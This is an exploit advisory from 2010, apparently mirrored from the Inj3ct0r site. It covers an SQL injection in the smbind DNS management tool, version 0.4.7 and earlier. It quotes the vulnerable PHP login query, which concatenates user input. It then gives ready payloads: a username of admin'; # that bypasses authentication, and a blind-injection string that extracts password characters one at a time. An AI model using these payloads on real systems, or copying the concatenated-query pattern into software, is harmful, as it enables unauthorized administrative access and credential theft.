Home / os / win7

smbind <= v.0.4.7 Sql Injection Vulnerability

Posted on 03 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>smbind &lt;= v.0.4.7 Sql Injection Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=============================================
smbind &lt;= v.0.4.7 Sql Injection Vulnerability
=============================================


##############################################################################################
#
# smbind &lt;= v.0.4.7 Sql Injection
# Site: https://sourceforge.net/projects/smbind/files/
# Reported on 28/08/2010
#
# Author: IHTeam
#
##############################################################################################
#
# Buggy code:
#
if(isset($_POST['username']) &amp;&amp; isset($_POST['password'])) {
        if((!filter(&quot;alphanum&quot;, $_POST['username'])) or (!filter(&quot;alphanum&quot;, $_POST['password']))) {
                die(&quot;Username and password must contain only letters and numbers.&quot;);
        }
        $_SESSION['username'] = $_POST['username'];
        $_SESSION['password'] = $_POST['password'];
}
 
if(isset($_SESSION['username']) &amp;&amp; isset($_SESSION['password'])) {
        $res = $dbconnect-&gt;query(&quot;SELECT ID FROM users WHERE username = '&quot; . $_SESSION['username'] .&quot;' AND password = '&quot; . md5($_SESSION['password']) . &quot; ' &quot;);
#
##############################################################################################
#
# Easy admin login
#
# Enter in username field: admin'; #
# Enter in password field: [anything]
#
# Sql query will result like this: SELECT ID FROM users WHERE username = 'admin'; #' AND password = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
#
##############################################################################################
#
# Limitation and Blind Sql Injection
#
# You're able to make blind sql injection too. Just input in username field something like this:
# admin' AND SUBSTRING(password,1,1)=char(49); #
#
# That sql injection work only with magic_quote_gpc = Off
#
##############################################################################################


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-03]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :